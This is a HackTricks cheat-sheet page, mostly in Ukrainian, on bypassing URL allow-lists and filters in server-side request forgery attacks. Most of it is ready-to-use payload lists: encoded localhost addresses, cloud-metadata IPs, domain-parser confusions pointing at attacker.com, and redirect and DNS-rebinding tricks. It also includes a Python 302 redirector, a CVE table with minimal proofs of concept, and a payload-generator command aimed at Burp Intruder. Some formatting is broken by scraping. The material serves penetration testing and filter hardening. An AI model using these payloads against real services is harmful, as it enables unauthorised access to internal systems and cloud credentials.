URL Format Bypass
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Localhost
Localhost payloads
```bash # Localhost 0 # Yes, just 0 is localhost in Linux http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪CIDR bypass
http://127.127.127.127 http://127.0.1.3 http://127.0.0.0
Dot bypass
127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821
Decimal bypass
http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1
Octal Bypass
http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001
Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001
Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal
Add 0s bypass
127.000000000000.1
You can also mix different encoding formats
https://www.silisoftware.com/tools/ipconverter.php
Malformed and rare
localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1
DNS to localhost
localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1
</details>
.png>)
The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) реалізує методи обходу форматування IP-адрес.
### Парсер доменів
<details>
<summary>Обходи парсера доменів</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim
Domain confusion payloads
```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # colon + backslash confusion (CVE-2025-0454 in autogpt) http://localhost:\@google.com/../On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
Parameter pollution
next={domain}&next=attacker.com
</details>
### Шляхи та розширення Bypass
Якщо вимагається, щоб URL закінчувався path або extension, або містив path, ви можете спробувати один із наступних bypasses:
https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path
### Fuzzing
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) може генерувати варіанти на основі заданого вводу, щоб спробувати обійти використаний regex. Також перегляньте [**this post**](https://0xacb.com/2022/11/21/recollapse/) для додаткової інформації.
### Automatic Custom Wordlists
Перегляньте вебдодаток [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) від portswigger, де ви можете вказати дозволений хост та хост атакувальника, і він згенерує список URL-адрес для спроб. Він також враховує, чи можна використовувати URL у параметрі, у Host header або в CORS header.
<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>
### Bypass via redirect
Може трапитись так, що сервер **фільтрує початковий запит** SSRF, **але не** можливу **redirect** відповідь на цей запит.\
Наприклад, сервер, вразливий до SSRF через: `url=https://www.google.com/` може **фільтрувати параметр url**. Але якщо ви використовуєте [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) до місця, куди хочете перенаправити, ви можете бути в змозі **отримати доступ до відфільтрованих IP-адрес**, таких як 127.0.0.1, або навіть до відфільтрованих **протоколів** на кшталт gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
<details>
<summary>Простий redirector для тестування SSRF</summary>
```python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
DNS rebinding bypass (2025+)
Навіть коли фільтр SSRF виконує одноразове DNS‑розв’язування перед відправкою HTTP‑запиту, ви все одно можете дістатися внутрішніх хостів, перепризначивши домен між пошуком і з’єднанням:
- Вкажіть
victim.example.comна публічну IP-адресу, щоб він пройшов allow‑list / CIDR перевірку. - Подавайте дуже малий TTL (або використайте авторитетний сервер, яким ви керуєте) і перепризначте домен на
127.0.0.1або169.254.169.254безпосередньо перед виконанням реального запиту. - Інструменти на кшталт Singularity (
nccgroup/singularity) автоматизують авторитетний DNS + HTTP сервер і включають готові payload’и. Приклад запуску:python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080.
Ця техніка була використана в 2025 році, щоб обійти патч BentoML “safe URL” та подібні SSRF‑фільтри з одноразовим розв’язуванням.
Пояснення трюків
Backslash-trick
The backslash-trick exploits a difference between the WHATWG URL Standard and RFC3986. While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard’s recognition of the backslash (\) as equivalent to the forward slash (/), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.

Left square bracket
The “left square bracket” character [ in the userinfo segment can cause Spring’s UriComponentsBuilder to return a hostname value that differs from browsers: https://example.com[@attacker.com
Інші плутанини
.png)
зображення з https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/
IPv6 Zone Identifier (%25) Trick
Сучасні парсери URL, що підтримують RFC 6874, дозволяють link-local IPv6 адресам містити zone identifier після знака відсотка. Деякі security filters не враховують цей синтаксис і будуть лише видаляти IPv6 літерали в квадратних дужках, дозволяючи наступному payload досягти внутрішнього інтерфейсу:
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
Якщо цільовий додаток перевіряє, що хост не fe80::1, але припиняє парсинг на %, він може неправильно трактувати запит як зовнішній. Завжди нормалізуйте адресу перед будь‑яким рішенням безпеки або повністю видаляйте необов’язковий zone id.
Останні CVE парсингу бібліотек (2022–2026)
Кілька популярних фреймворків мали проблеми з невідповідністю імен хостів, які можна використати для SSRF після обходу валідації URL за допомогою наведених вище трюків:
| Year | CVE | Component | Bug synopsis | Minimal PoC |
|---|---|---|---|---|
| 2025 | CVE-2025-0454 | Python requests + urllib.parse (autogpt) | Несумісність парсингу на http://localhost:\\@google.com/../ дозволяє allow‑lists думати, що хост — google.com, тоді як запит потрапляє в localhost. | requests.get("http://localhost:\\@google.com/../") |
| 2025 | CVE-2025-2691 | Node package nossrf | Бібліотека, призначена для блокування SSRF, перевіряє лише оригінальний hostname, а не resolved IP, що дозволяє використовувати імена хостів, які резолвляться у приватні діапазони. | curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1 |
| 2024 | CVE-2024-29415 | Node ip package | isPublic() неправильно класифікував dotted‑octal / коротку форму localhost (наприклад, 0127.0.0.1, 127.1) як публічну, дозволяючи фільтрам приймати внутрішні цілі. | ip.isPublic('0127.0.0.1') returns true on vulnerable versions |
| 2024 | CVE-2024-3095 | Langchain WebResearchRetriever | Відсутня фільтрація хосту; GET‑запити могли досягати IMDS/localhost від AI агентів. | User‑controlled URL inside WebResearchRetriever |
| 2024 | CVE-2024-22243 / ‑22262 | Spring UriComponentsBuilder | [ в userinfo парситься по‑різному Spring та браузерами, що дозволяє обійти allow‑list. | https://example.com\[@internal |
| 2023 | CVE-2023-27592 | urllib3 <1.26.15 | Плутанина зі зворотними слешами дозволяла http://example.com\\@169.254.169.254/ обійти фільтри хостів, які діляться по @. | — |
| 2022 | CVE-2022-3602 | OpenSSL | Перевірка імені хоста пропускалася, коли ім’я мав суфікс . (плутанина з доменами з крапкою/без крапки). | — |
Утиліти для генерації payload’ів (2024+)
Ручне створення великих кастомних словників виснажливе. Відкритий інструмент SSRF-PayloadMaker (Python 3) може автоматично згенерувати 80 k+ комбінацій маніпуляцій хостом, включно зі змішаними кодуваннями, примусовим пониженням до HTTP та варіантами зі зворотними слешами:
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
Отриманий список можна безпосередньо передати в Burp Intruder або ffuf.
Посилання
- https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md
- https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
- https://nvd.nist.gov/vuln/detail/CVE-2024-22243
- https://github.com/hsynuzm/SSRF-PayloadMaker
- https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe
- https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


